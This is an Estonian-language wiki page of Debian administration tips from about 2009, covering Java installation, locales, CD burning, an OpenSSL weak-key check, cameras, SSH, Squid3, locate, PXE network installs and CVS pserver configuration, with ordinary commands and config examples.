 # ip addr del 100.100.100.4/16 dev eth4&lt;br /&gt;
&lt;br /&gt;
nn ifconfig'i aliased &lt;br /&gt;
&lt;br /&gt;
Osade teadlaste arvates on see tänapäeval täiesti igand rääkida ethx:x aliastest. Et lihtsalt saab seadmele omistada mitu aadressi ja kogu lugu. Kui aga on juhtunud selline õnnetu lugu, et seadmel on nt eth0:1 aadress, siis saab seda eemaldada lihtsalt sedasi&lt;br /&gt;
&lt;br /&gt;
 # ip addr del 195.80.96.214 dev eth0&lt;br /&gt;
&lt;br /&gt;
===Java kasutamine===&lt;br /&gt;
&lt;br /&gt;
Java ehk JVM (Java Virtual Machine) tarkvara kasutamiseks on Debianis mitmeid võimalusi. Kui on kavatsus jääda paketihaldusest paigaldatud tarkvara kasutamise juurde, siis tõenäoliselt  on otstarbekas lasta paketihaldusel töötada ja kasutada Debiani Java pakette. Kui aga kasutatakse mingit eraldiseisvat tarkvara, nt Tomcat, GlassFish vms Java rakendusserverit, siis on ehk otstarbekas kasutada http://java.sun.com/ veebikohast kopeeritud Javat.&lt;br /&gt;
&lt;br /&gt;
====Java kasutamine paketihaldusest====&lt;br /&gt;
&lt;br /&gt;
Debiani Lenny paketihalduses on olemas sellised Java kompilaatorit sisaldavad Java implementatsioonid&lt;br /&gt;
&lt;br /&gt;
  $ aptitude search &amp;quot;?provides(java-compiler)&amp;quot;&lt;br /&gt;
  p   gcj             - The GNU Java compiler                                                   &lt;br /&gt;
  p   gcj-4.2         - The GNU compiler for Java(TM)                                           &lt;br /&gt;
  p   gcj-4.3         - The GNU compiler for Java(TM)                                           &lt;br /&gt;
  p   jikes-classpath - clean room standard Java libraries - wrapper for jikes                  &lt;br /&gt;
  p   jikes-kaffe     - Wrapper for jikes using Kaffe classes                                   &lt;br /&gt;
  p   kaffe-jthreads  - A green threads enabled version of the Kaffe VM                         &lt;br /&gt;
  p   kaffe-pthreads  - A POSIX threads enabled version of the Kaffe VM                         &lt;br /&gt;
  p   sun-java5-jdk   - Sun Java(TM) Development Kit (JDK) 5.0                                  &lt;br /&gt;
  p   sun-java6-jdk   - Sun Java(TM) Development Kit (JDK) 6&lt;br /&gt;
&lt;br /&gt;
Tarkvara paigaldatakse nagu ikka Debiani pakett ning kasutatakse nagu ikka Javat.&lt;br /&gt;
&lt;br /&gt;
====Sun Java kasutamine====&lt;br /&gt;
&lt;br /&gt;
Sun on Java autor ja üks oluline edasiarendaja, kuid on ka teisi Java implementatsioone. Sun Java saab kasutaja kopeerida aadressilt http://java.sun.com/ kus saab tutvuda ka Java kasutustingimustega.&lt;br /&gt;
&lt;br /&gt;
Sun jagab Javat üsna erinevates pakendustes, kusjuures erinevus on kolmel nö teljel&lt;br /&gt;
&lt;br /&gt;
* millisele funktsionaalsusele on orieteeritud - SE (Standard Edition), EE (Enterprise Edition), ME (Micro Edition)&lt;br /&gt;
* kas tegu on arendusvahendi või nö kasutusvahendiga - nt SDK (Software development kit) vs JRE (Java Runtime Environment), viimane sisaldub esimeses&lt;br /&gt;
* versiooninumber&lt;br /&gt;
&lt;br /&gt;
Erinevad versioonid 2009 suve seisuga&lt;br /&gt;
&lt;br /&gt;
* 1.3 - vana versioon, mida kasutavad ehk vaid mõned nö riistvaras javat sisaldavad seadmed&lt;br /&gt;
* 1.4 - mõned nö legacy rakendustega Tomcat rakendusserverid võiksid seda veel kasutada&lt;br /&gt;
* 5 (vahel nimetatakse 1.5) - täiesti veel kasutuses, mõnda rakendust soovitatakse kasutada sellel versioonil&lt;br /&gt;
* 6 (vahel nimetatakse 1.6) - viimane stabiilne versioon&lt;br /&gt;
&lt;br /&gt;
Tundub, et juhtumil kui ei ole teada millist Javat kasutada, siis on sobiv valida SE SDK versioon 1.6, mille saab kopeerida http://java.sun.com/ veebikohast liikudes&lt;br /&gt;
&lt;br /&gt;
  Downloads -&amp;gt; Java SE -&amp;gt; Java SE Development Kit (JDK 6 Update 16) -&amp;gt; Download&lt;br /&gt;
&lt;br /&gt;
ning täpsustada platvorm, nt&lt;br /&gt;
&lt;br /&gt;
* Linux64 - 64 bit Linux&lt;br /&gt;
* Linux - 32 bit Linux&lt;br /&gt;
&lt;br /&gt;
Seejärel valida nimekirjast .bin&lt;br /&gt;
&lt;br /&gt;
  File Description              Name                            Size&lt;br /&gt;
  Java SE Development Kit 6u16  jdk-6u16-linux-x64-rpm.bin 	74.04 MB&lt;br /&gt;
  Java SE Development Kit 6u16  jdk-6u16-linux-x64.bin          78.08 MB&lt;br /&gt;
&lt;br /&gt;
Kasutamiseks tuleb otsustada, millises kataloogis JVM asuma hakkab, olgu see nt /usr/local/java6, selleks tuleb minna juurkasutajana kataloogi /usr/local&lt;br /&gt;
&lt;br /&gt;
  # cd /usr/local&lt;br /&gt;
  # sh jdk-6u16-linux-x64.bin&lt;br /&gt;
  vastata küsimustele jaatavalt&lt;br /&gt;
  # ln -s /usr/local/tekkinud-katalooginimi /usr/local/java6&lt;br /&gt;
&lt;br /&gt;
Java kasutamiseks tuleb seada ja kui peetakse vajalikuks, lisada teele&lt;br /&gt;
&lt;br /&gt;
  $ export JAVA_HOME=/usr/local/java6&lt;br /&gt;
  $ export PATH=/usr/local/java6/bin:$PATH&lt;br /&gt;
&lt;br /&gt;
Seejärel saab nt küsida Java versiooni öeldes&lt;br /&gt;
&lt;br /&gt;
  $ /usr/local/java6/bin/java -version&lt;br /&gt;
  java version &amp;quot;1.6.0_16&amp;quot;&lt;br /&gt;
  Java(TM) SE Runtime Environment (build 1.6.0_16-b01)&lt;br /&gt;
  Java HotSpot(TM) 64-Bit Server VM (build 11.3-b02, mixed mode)&lt;br /&gt;
&lt;br /&gt;
====Iceweaseli Java lisa====&lt;br /&gt;
&lt;br /&gt;
Iceweaseli ehk Firefox 3.x versiooniga java kasutamiseks on i386 keskkonnas olemas plugin&lt;br /&gt;
&lt;br /&gt;
  # apt-get install sun-java5-plugin&lt;br /&gt;
&lt;br /&gt;
või &lt;br /&gt;
&lt;br /&gt;
  # apt-get install sun-java6-plugin&lt;br /&gt;
&lt;br /&gt;
===Lokaat===&lt;br /&gt;
&lt;br /&gt;
Lokaatide kasutamiseks tuleb paigalda pakett locales &lt;br /&gt;
&lt;br /&gt;
  # apt-get install locales&lt;br /&gt;
&lt;br /&gt;
ning edasiseks seadistamiseks saab öelda, asjakohased seadistusfailid on iseenesest /etc/environment ning /etc/default/locale&lt;br /&gt;
&lt;br /&gt;
  # dpkg-reconfigure locales&lt;br /&gt;
&lt;br /&gt;
Süsteemi vaikelokaat võiks olla ehk C serverite puhul, aga see on kasutaja otsustada kuidas ta paremaks peab.&lt;br /&gt;
&lt;br /&gt;
Lokaatide nimekirja esitamiseks tuleb öelda, nt selline võiks olla üsna tüüpiline tulemus&lt;br /&gt;
&lt;br /&gt;
  # locale -a&lt;br /&gt;
  C&lt;br /&gt;
  POSIX&lt;br /&gt;
  et_EE.utf8&lt;br /&gt;
&lt;br /&gt;
Kui seadistada lisaks nt ru_RU.utf8 ja fr_FR.utf8, siis saab lugeda vene ja prantsuse keelseid manuaale. Nt öeldes nö tavalises xtermis&lt;br /&gt;
&lt;br /&gt;
 $ export LANG=fr_FR.utf8&lt;br /&gt;
 $ uxterm&lt;br /&gt;
&lt;br /&gt;
mis paistab selline&lt;br /&gt;
&lt;br /&gt;
[[Pilt:Os-debian-kasutamine-1.gif]]&lt;br /&gt;
&lt;br /&gt;
Lisaks töötab nt w3m ja lynx uxterm aknas vene keeles.&lt;br /&gt;
&lt;br /&gt;
===CD plaadi kirjutamine===&lt;br /&gt;
&lt;br /&gt;
Niisama plaadile  kirjutamiseks tuleb esmalt moodustada failidest tõmmis öeldes näiteks&lt;br /&gt;
&lt;br /&gt;
  # genisoimage -o ../tommis.iso .&lt;br /&gt;
&lt;br /&gt;
ning seejärel kopeerida tõmmis plaadile öeldes&lt;br /&gt;
&lt;br /&gt;
  # cdrecord -v speed=10 dev=/dev/cdrom tommis.iso&lt;br /&gt;
&lt;br /&gt;
Kui tegu on RW plaadiga, siis ennem järgmist kirjutamist tuleb plaat puhastada käsuga&lt;br /&gt;
&lt;br /&gt;
  # cdrecord -v dev=/dev/cdrom blank=fast&lt;br /&gt;
&lt;br /&gt;
Squeeze puhul&lt;br /&gt;
&lt;br /&gt;
 # apt-get install wodim&lt;br /&gt;
 # wodim -v speed=8 dev=/dev/sr0 tommis.iso&lt;br /&gt;
&lt;br /&gt;
korduvkirjutatava plaadi kustutamiseks&lt;br /&gt;
&lt;br /&gt;
 # wodim -v dev=/dev/cdrom blank=fast&lt;br /&gt;
&lt;br /&gt;
===Klaviatuuriasetus konsoolil===&lt;br /&gt;
&lt;br /&gt;
Klaviatuuriasetuse muutmiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
  # dpkg-reconfigure console-data&lt;br /&gt;
&lt;br /&gt;
ning valida sobiv asetus. NB! Ka mac'i asetus on olemas.&lt;br /&gt;
&lt;br /&gt;
===OpenSSL probleem===&lt;br /&gt;
&lt;br /&gt;
2008 aasta kevadel ilmnes, et Debiani arendajad olid OpenSSL tarkvara pakendamisel tekitanud avalike võtmete genereerimist puudutavas osas vea, mille tõttu osa varasemalt Debian Etch abil tekitatud võtmeid ja sertifikaate on ärakasutatavad. Kas konkreetne sertifikaat on haavatav saab kontrollida programmiga openssl-vulnkey. Esmalt tuleb paigaldada Backportsidest pakett openssl-blacklist ning öelda&lt;br /&gt;
&lt;br /&gt;
  # cat sertifikaat.pem | openssl-vulnkey -&lt;br /&gt;
  COMPROMISED: b3409bf40c63d0d8fc3e1625e9cac2076e20d1e7 -&lt;br /&gt;
&lt;br /&gt;
===Helikaardi kastumine===&lt;br /&gt;
&lt;br /&gt;
Kui helikaart on arvutisse füüsiliselt paigaldatud, siis vajadusel saab SoX tarkvara utiliitide abil kontrollida, kas heli salvestamine mikrofoni abil ja heli taasesitamine töötavad.&lt;br /&gt;
&lt;br /&gt;
Sox tarkvara paigaldamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
  # apt-get install sox&lt;br /&gt;
&lt;br /&gt;
Salvestamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
  # rec -t .wav /tmp/failinimi.wav&lt;br /&gt;
&lt;br /&gt;
Taasesitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
  # play /tmp/failinimi.wav&lt;br /&gt;
&lt;br /&gt;
Lisaks on asjakohane kasutada mikserit, nt aumix või alsamixer, just mikrofoni sisselülitamiseks, käivitades xtermi aknas võiks paista selline pilt, vajadusel käivitamisel näidata seadme number, nt&lt;br /&gt;
&lt;br /&gt;
 # alsamixer -c 1&lt;br /&gt;
&lt;br /&gt;
[[Pilt:Alsamixer-1.gif]]&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* F6 abil saab valida helikaarti, sh virtuaalset (PulseAudio)&lt;br /&gt;
&lt;br /&gt;
===Digifotokaamera kasutamine===&lt;br /&gt;
&lt;br /&gt;
Tänapäeval on levinud nn digitaalsed fotokaamerad, mida saab ühendada arvutiga USB liidese abil selleks, et kopeerida arvutisse fotoaparaadi flash diskile salvestatud pildid. Üks populaarne tarkvara, mis võimaldab suhelda fotokaameraga on gphoto2 http://gphoto.sourceforge.net/.&lt;br /&gt;
&lt;br /&gt;
Tarkvara paigaldamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
  # apt-get install gphoto2&lt;br /&gt;
&lt;br /&gt;
Graafiline nö pealisehitus gphoto2 tarkvarale on gtkam, mille paigaldamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
  # apt-get install gtkam&lt;br /&gt;
&lt;br /&gt;
Piltide kopeerimiseks tuleb kaamera ühendada arvutiga ning lülitada piltide kopeerimise režiimile, operatsioonisüsteem peaks seejärel USB seadme ära tundma&lt;br /&gt;
&lt;br /&gt;
  # lsusb&lt;br /&gt;
  ...&lt;br /&gt;
  Bus 001 Device 006: ID 04a9:309a Canon, Inc. PowerShot A80&lt;br /&gt;
  Bus 001 Device 001: ID 0000:0000&lt;br /&gt;
&lt;br /&gt;
Peale gtkam programmi käivitamist peaks gtkam suutma avastada kaamera ning esitama sarnase kasutajaliidese&lt;br /&gt;
&lt;br /&gt;
[[Pilt:Gtkam-1.gif]]&lt;br /&gt;
&lt;br /&gt;
gphoto2 programmi abil saab kaamerat otsekohesemalt juhtida, aga eeldusel, et gtkam või mõni muu programm seda ei kasuta. Nt saab küsida kaamera kohta kokkuvõtet öeldes&lt;br /&gt;
&lt;br /&gt;
  # gphoto2 --summary&lt;br /&gt;
  Camera summary:                                                                &lt;br /&gt;
  Model: Canon PowerShot A80&lt;br /&gt;
    device version: 01.0001&lt;br /&gt;
    serial number:  (null)&lt;br /&gt;
  Vendor extension ID: 0x0000000b&lt;br /&gt;
  Vendor extension description: (null)&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
või kopeerida kõik failid kaamerast failisüsteemi käesolevasse kataloogi&lt;br /&gt;
&lt;br /&gt;
  # gphoto2 --get-all-files&lt;br /&gt;
  Downloading 'IMG_3601.JPG' from folder '/store_00010001/DCIM/236CANON'...&lt;br /&gt;
  Saving file as IMG_3601.JPG&lt;br /&gt;
  Downloading 'IMG_3602.JPG' from folder '/store_00010001/DCIM/236CANON'...&lt;br /&gt;
  Saving file as IMG_3602.JPG      &lt;br /&gt;
  ..&lt;br /&gt;
&lt;br /&gt;
Android telefonist vms seadmest kopeerimisel on praktiline näidata kataloog, nt Google Nexus 5 nutitelefon puhul&lt;br /&gt;
&lt;br /&gt;
 $ gphoto2 --get-all-files -f /store_00010001/DCIM/Camera&lt;br /&gt;
&lt;br /&gt;
Sony Xperia tahvelarvutiga&lt;br /&gt;
&lt;br /&gt;
 $ gphoto2 --get-all-files -f /store_00010001/DCIM/100ANDRO&lt;br /&gt;
&lt;br /&gt;
Kui seadme ühendamise ta nö mountitakse, siis võib olla vajalik ta File Manager programmis vms kohal lahti lasta.&lt;br /&gt;
&lt;br /&gt;
===SSH kasutamine===&lt;br /&gt;
&lt;br /&gt;
Kui Debian on juhtumisi paigaldatud Networkless siis puudub vaikimisi openssh-server, selle paigaldamiseks tuleb öelda käsk&lt;br /&gt;
&lt;br /&gt;
 # apt-get install openssh-server&lt;br /&gt;
&lt;br /&gt;
Mille järel starditakse server ka automaatselt, kasutaja mureks on vaid sisse logida.&lt;br /&gt;
&lt;br /&gt;
Kui Debian Lenny ssh kliendiga sisselogimine teistesse süsteemidesse on muutunud rahulikuks (nt vana RedHat 4 ES või Solaris 10 ssh serverid oma default väärtustega) ning -v võtmega käivitatud klient ütleb muu seas&lt;br /&gt;
&lt;br /&gt;
  debug1: Authentications that can continue: gssapi-keyex,\&lt;br /&gt;
    gssapi-with-mic,publickey,password,keyboard-interactive&lt;br /&gt;
  debug1: Next authentication method: gssapi-keyex&lt;br /&gt;
  debug1: No valid Key exchange context&lt;br /&gt;
  debug1: Next authentication method: gssapi-with-mic&lt;br /&gt;
  debug1: Unspecified GSS failure.  Minor code may provide more information&lt;br /&gt;
  No credentials cache found&lt;br /&gt;
  &lt;br /&gt;
  debug1: Unspecified GSS failure.  Minor code may provide more information&lt;br /&gt;
  No credentials cache found&lt;br /&gt;
&lt;br /&gt;
siis aitab kliendi seadistusfailis, nt /etc/ssh/ssh_config kasutada selliselt seadistatud parameetrit&lt;br /&gt;
&lt;br /&gt;
  GSSAPIAuthentication no&lt;br /&gt;
&lt;br /&gt;
===Veebikaamera kasutamine===&lt;br /&gt;
&lt;br /&gt;
Veebikaamera on väike videokaamera, mis tavaliselt ühendatakse arvutiga USB abil ning teda sobib kasutada nt Skype programmi juures enda visuaalseks reaalajas esitlemiseks. &lt;br /&gt;
&lt;br /&gt;
Veebikaamera kasutamise ettevalmistamisel peab peale kaamera arvutiga ühendamist ilmuma USB seadmete nimekirja uus seade, midagi sellist&lt;br /&gt;
&lt;br /&gt;
  # lsusb&lt;br /&gt;
  ..&lt;br /&gt;
  Bus 001 Device 003: ID 046d:092e Logitech, Inc. QuickCam Chat&lt;br /&gt;
&lt;br /&gt;
Selle spca5xx chipsetiga Logitechi QuickCam Chat veebikaamera kasutamiseks tuleb paigaldada Lennile vastav draiver valides sobiva, st oma tuuma platvormile sobiva tuumamooduli, nt&lt;br /&gt;
&lt;br /&gt;
  # apt-get install gspca-modules-2.6-686&lt;br /&gt;
&lt;br /&gt;
Lisaks peab see kasutaja, kelle alt Skype programm töötab kuuluma video gruppi, vajadusel tuleb redigeeerida /etc/group faili&lt;br /&gt;
&lt;br /&gt;
  # grep video /etc/group&lt;br /&gt;
  video:x:44:kasutajanimi&lt;br /&gt;
&lt;br /&gt;
Kui kasutaja määrati gruppi kuuluma, siis tuleb korraks süsteemist logida välja ja tagasi sisse, et gruppikuuluvus kehtestuks. Valides seejärel Skype programmi Options peaks olema kaamera kasutamise võimalus olemas&lt;br /&gt;
&lt;br /&gt;
[[Pilt:Veebikaamera-1.gif]]&lt;br /&gt;
&lt;br /&gt;
Veebikaamerat oskavad kasutada lisaks mitmed muud programmid, nt Cheese (gnome komponent), Gqcam.&lt;br /&gt;
&lt;br /&gt;
===Mälukaartide kasutamine===&lt;br /&gt;
&lt;br /&gt;
Nn mälukäärte esineb külluses, need mis ühendatakse arvutile külge USB liidese kaudu, kas otse või nö lugeja abil paistavad operatsioonisüsteemile tavaliselt SCSI seadmena. Seega, kasutamiseks tavaliselt piisab teha kindlaks dmesg väljundi lõpust millise nimega /dev/sdx seade on juurde tekkinud ning monteerida seejärel ta külge, nt&lt;br /&gt;
&lt;br /&gt;
  # mount /dev/sdc1 /mnt/malukaart&lt;br /&gt;
&lt;br /&gt;
===Squid v. 3 kasutamine===&lt;br /&gt;
&lt;br /&gt;
Lenny paketihaldusest saab paigaldada Squid v. 3 tarkvara öeldes&lt;br /&gt;
&lt;br /&gt;
  # apt-get install squid3&lt;br /&gt;
&lt;br /&gt;
====Kasutamine kiirendina====&lt;br /&gt;
&lt;br /&gt;
Squid3 kiirendina kasutamiseks sobib kasutada sellist seadistusfaili&lt;br /&gt;
&lt;br /&gt;
  cache_dir ufs /var/spool/squid3 768 16 256&lt;br /&gt;
  http_port 10.0.6.249:80 defaultsite=www.siseministeerium.ee vhost&lt;br /&gt;
  icp_port 0&lt;br /&gt;
  &lt;br /&gt;
  cache_peer 10.0.6.95 parent 80 0 no-query originserver name=www100695 login=PASS&lt;br /&gt;
  acl sites_www_100695 dstdomain src &amp;quot;/etc/squid3/sites_www100695.txt&amp;quot;&lt;br /&gt;
  cache_peer_access www100695 allow sites_www_100695&lt;br /&gt;
  &lt;br /&gt;
  cache_peer 10.0.6.96 parent 80 0 no-query originserver name=www100696 login=PASS&lt;br /&gt;
  acl sites_www_100696 dstdomain src &amp;quot;/etc/squid3/sites_www100696.txt&amp;quot;&lt;br /&gt;
  cache_peer_access www100696 allow sites_www_100696&lt;br /&gt;
  &lt;br /&gt;
  acl all src 0.0.0.0/0.0.0.0&lt;br /&gt;
  acl localhost src 127.0.0.1/255.255.255.255 10.0.0.0/255.255.255.0&lt;br /&gt;
  acl Safe_ports port 80          # http&lt;br /&gt;
  &lt;br /&gt;
  http_access deny !Safe_ports&lt;br /&gt;
  http_access allow all&lt;br /&gt;
  &lt;br /&gt;
  access_log /var/log/squid3/access.log squid&lt;br /&gt;
  emulate_httpd_log       on&lt;br /&gt;
&lt;br /&gt;
===locate andmebaas===&lt;br /&gt;
&lt;br /&gt;
Vaikimisi moodustab Debian updatedb programmi käivitamisel cron'ist nn locate andmebaasi, milles sisaduvad süsteemis leiduvate failid nimed. Seda andmebaasi saab kasutada nt selliselt&lt;br /&gt;
&lt;br /&gt;
  # locate .bash_history&lt;br /&gt;
  /root/.bash_history&lt;br /&gt;
  /srv/backup/500g-vint/home/mart/.bash_history&lt;br /&gt;
&lt;br /&gt;
locate andmebaas võib osutuda mitmel juhul ebasoovitavaks&lt;br /&gt;
&lt;br /&gt;
* andmebaasi salvestatakse andmed, mis seal ei peaks sisalduma; nt kui veebiserveri kasutajana saab käivitada programme, siis annab see baas ilmselt soovimatut lisainfot kasutajale ühe või teise faili olemasolust ja asukohast failisüsteemis&lt;br /&gt;
* locale andmebaasi moodustatakse väga suure mahuga andmetest iga päev uuesti ning see raiskab ilmselt ressurssi&lt;br /&gt;
&lt;br /&gt;
updatedb programm käivitatakse skripti&lt;br /&gt;
&lt;br /&gt;
  /etc/cron.daily/mlocate&lt;br /&gt;
&lt;br /&gt;
abil ning updatedb tööd saab kontrollida seadistusfaili abil, eriti, milliseid katalooge andmebaasi koostamisel kasutatakse&lt;br /&gt;
&lt;br /&gt;
  /etc/updatedb.conf&lt;br /&gt;
&lt;br /&gt;
===Operatsioonisüsteemi paigaldamine võrgust===&lt;br /&gt;
&lt;br /&gt;
Operatsioonisüsteemi võrgust paigaldamine eeldab arusaadavalt paigaldamise ajal võrguühenduse olemasolu, soovitavalt nö hea ühenduse olemasolu. Debian Lenny operatsioonisüsteemi saab paigaldada võrgust kolmel viisil&lt;br /&gt;
&lt;br /&gt;
* business card CD tõmmis (ca 40 MB) - sisaldab tuuma ja installerit&lt;br /&gt;
* minimaalse sisu CD tõmmis (ca 180 MB) - sisaldab tuuma, installerit ning minimaalset hulka pakette&lt;br /&gt;
* TFTP serverilt paigaldamine - tuuma ja ramdisk booditakse TFTP serverilt&lt;br /&gt;
&lt;br /&gt;
Vaatamata sellele kui palju kasutati kohalikku abi, st lokaalset meediat või TFTP serverit toimub süsteemi mahukama osa moodustava tarkvara kopeerimine paigaldamise ajal võrgust.&lt;br /&gt;
&lt;br /&gt;
Võrgust paigaldamine võiks eriti sobida üle IBM IMM ja HP iLO liideste tarvkara paigaldamisel.&lt;br /&gt;
&lt;br /&gt;
====Paigaldamine TFTP serverilt====&lt;br /&gt;
&lt;br /&gt;
Üks võimalus Debiani paigaldada on täiesti ilma lokaalse meediate st võrgust, kuid eeldusel, et arvuti omab PXE võimelist võrgukaarti.&lt;br /&gt;
&lt;br /&gt;
Selleks tuleb kopeerida aadressilt tftp serveris kasutamiseks ettevalmistatud kataloogi sisu&lt;br /&gt;
&lt;br /&gt;
  # wget -np -r http://ftp.nl.debian.org/debian/dists/lenny/main/installer-i386/current/images/netboot/debian-installer/i386/&lt;br /&gt;
&lt;br /&gt;
ning paigutada lokaalvõrgus asuvasse tftp serverisse, nt kataloogi /tftpbood&lt;br /&gt;
&lt;br /&gt;
  # find /tftpboot&lt;br /&gt;
  /tftpboot &lt;br /&gt;
  /tftpboot/debian-installer&lt;br /&gt;
  /tftpboot/debian-installer/i386&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/exithelp.cfg&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/adtxt.cfg&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/index.html&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/f1.txt&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/f10.txt&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/f2.txt&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/f3.txt&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/f4.txt&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/f5.txt&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/f6.txt&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/f7.txt&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/f8.txt&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/f9.txt&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/syslinux.cfg&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/menu.cfg&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/prompt.cfg&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/splash.png&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/stdmenu.cfg&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/vesamenu.c32&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/txt.cfg&lt;br /&gt;
  /tftpboot/debian-installer/i386/index.html&lt;br /&gt;
  /tftpboot/debian-installer/i386/initrd.gz&lt;br /&gt;
  /tftpboot/debian-installer/i386/linux&lt;br /&gt;
  /tftpboot/pxelinux.0&lt;br /&gt;
  /tftpboot/pxelinux.cfg&lt;br /&gt;
  /tftpboot/pxelinux.cfg/index.html&lt;br /&gt;
  /tftpboot/pxelinux.cfg/default&lt;br /&gt;
&lt;br /&gt;
Lisaks tuleb valmistada ette sobivalt dchp server, nt sellise host kirjeldusega, next-server 192.168.1.254 on tftpd server&lt;br /&gt;
&lt;br /&gt;
  host fuji.auul {&lt;br /&gt;
    hardware ethernet 00:17:42:02:0b:8a;&lt;br /&gt;
    fixed-address 192.168.1.142;&lt;br /&gt;
    option broadcast-address 192.168.1.255;&lt;br /&gt;
    option routers 192.168.1.254;&lt;br /&gt;
    filename &amp;quot;pxelinux.0&amp;quot;;&lt;br /&gt;
    next-server 192.168.1.254;&lt;br /&gt;
    option domain-name-servers 192.168.1.254;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Tulemusena peab installeeritav arvuti saama dhcp serverilt omale võrguseaded, alglaadima tftp serverilt operatsioonisüsteemi ning käivitama installeri. Edasine paigaldamine toimub tavapärasel viisil, kusjuures installer küsib Debiani peegel-serveri asukohta, millelt kopeeritakse tarkvara.&lt;br /&gt;
&lt;br /&gt;
===CVS tarkvara kasutamine===&lt;br /&gt;
&lt;br /&gt;
CVS tarkvara saab kasutada mitmel moel, antud juhul on tegemist selliste asjaoludega&lt;br /&gt;
&lt;br /&gt;
* CVS töötab nn pserver rezhiimis, mis tähendab, et teenus kuulab 2401 pordil ja liiklus on krüptimata&lt;br /&gt;
* CVS liiklust tuleb täiendavate CVS väliste vahenditega turvata, nt OpenVPN või Stunnel&lt;br /&gt;
* CVS tarkvara tegeleb ise oma kasutajatega, st operatsioonisüsteemi kasutajatest eraldi&lt;br /&gt;
* saab kasutada mitmeid hoidlaid (ingl. k. repository)&lt;br /&gt;
* failisüsteemi kasutamine hoidla operatsioonisüsteemi seisukohalt toimub iga hoidla puhul hoidlale vastava kasutajaga (mitte hoidlat kasutava cvs kasutajana)&lt;br /&gt;
&lt;br /&gt;
Antud juhul kasutatakse mitmeid Debiani haldajate poolt nn vanilla CVS tarkvarale juurde lisatud täiendusi, mille kasutamist on kirjeldatud failis /usr/share/doc/cvs/README.Debian.gz.&lt;br /&gt;
&lt;br /&gt;
Paigaldamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
  # apt-get install cvs&lt;br /&gt;
&lt;br /&gt;
ning valida kas kasutatakse pserverit või mitte, antud juhul kasutatakse ja seejuures tuleb järgnevalt määrata, millistes kataloogides asuvad repositooriumid, nt&lt;br /&gt;
&lt;br /&gt;
  /srv/cvs-loomaaed&lt;br /&gt;
  /srv/cvs-propaganda&lt;br /&gt;
&lt;br /&gt;
CVS tarkvara juhivad serveri poolel sellised seadistusfaili&lt;br /&gt;
&lt;br /&gt;
* CVS p-serveri seadistusfailis /etc/cvs-pserver.conf sisalduvad muu seas repositooriumide asukohad failisüsteemis ning kasutate paroolifail&lt;br /&gt;
&lt;br /&gt;
  CVS_PSERV_REPOS=&amp;quot;/data/cvs-loomaaed:/data/cvs-propaganda&amp;quot;&lt;br /&gt;
  CVS_PSERV_LIMIT_MEM=hard&lt;br /&gt;
  CVS_PSERV_LIMIT_DATA=hard&lt;br /&gt;
  CVS_PSERV_LIMIT_CORE=0&lt;br /&gt;
  CVS_PSERV_LIMIT_CPU=hard&lt;br /&gt;
  CVS_EXT_PASSWD_FILE=/etc/cvs-passwd&lt;br /&gt;
&lt;br /&gt;
* inetd või xinetd kasutamisel vastavalt seadistusfailis /etc/inetd.conf peab sisalduma rida&lt;br /&gt;
&lt;br /&gt;
  cvspserver      stream  tcp     nowait  root    /usr/sbin/tcpd  /usr/sbin/cvs-pserver&lt;br /&gt;
&lt;br /&gt;
või fail /etc/xinetd.d/cvs sisuga&lt;br /&gt;
&lt;br /&gt;
  service cvspserver&lt;br /&gt;
  {&lt;br /&gt;
        disable         = no&lt;br /&gt;
        socket_type     = stream&lt;br /&gt;
        protocol        = tcp&lt;br /&gt;
        wait            = no&lt;br /&gt;
        user            = root&lt;br /&gt;
        server          = /usr/sbin/cvs-pserver&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
* repostitooriumide failide omanikud ja efektiivsed kasutajad failis on kirjeldatud /etc/cvs-repouids&lt;br /&gt;
&lt;br /&gt;
  /srv/cvs-loomaaed:cvs-loomaaed&lt;br /&gt;
  /srv/cvs-propaganda:cvs-propaganda&lt;br /&gt;
&lt;br /&gt;
Repositooriumide initsialiseerimiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
  # su - cvs-loomaaed&lt;br /&gt;
  $ cvs -d /srv/cvs-loomaaed init&lt;br /&gt;
  # su - cvs-propaganda&lt;br /&gt;
  $ cvs -d /srv/cvs-propaganda init&lt;br /&gt;
&lt;br /&gt;
Paroolifaili /etc/cvs-passwd formaat on selline&lt;br /&gt;
&lt;br /&gt;
  /data/cvs-loomaaed&lt;br /&gt;
  mart:CHHLHZezIWZZQ&lt;br /&gt;
  priit:KbHgWDSglIOH.&lt;br /&gt;
  /data/cvs-propaganda&lt;br /&gt;
  mart:CHHLHZezIWZZQ&lt;br /&gt;
  priit:KbHgWDSglIOH.&lt;br /&gt;
&lt;br /&gt;
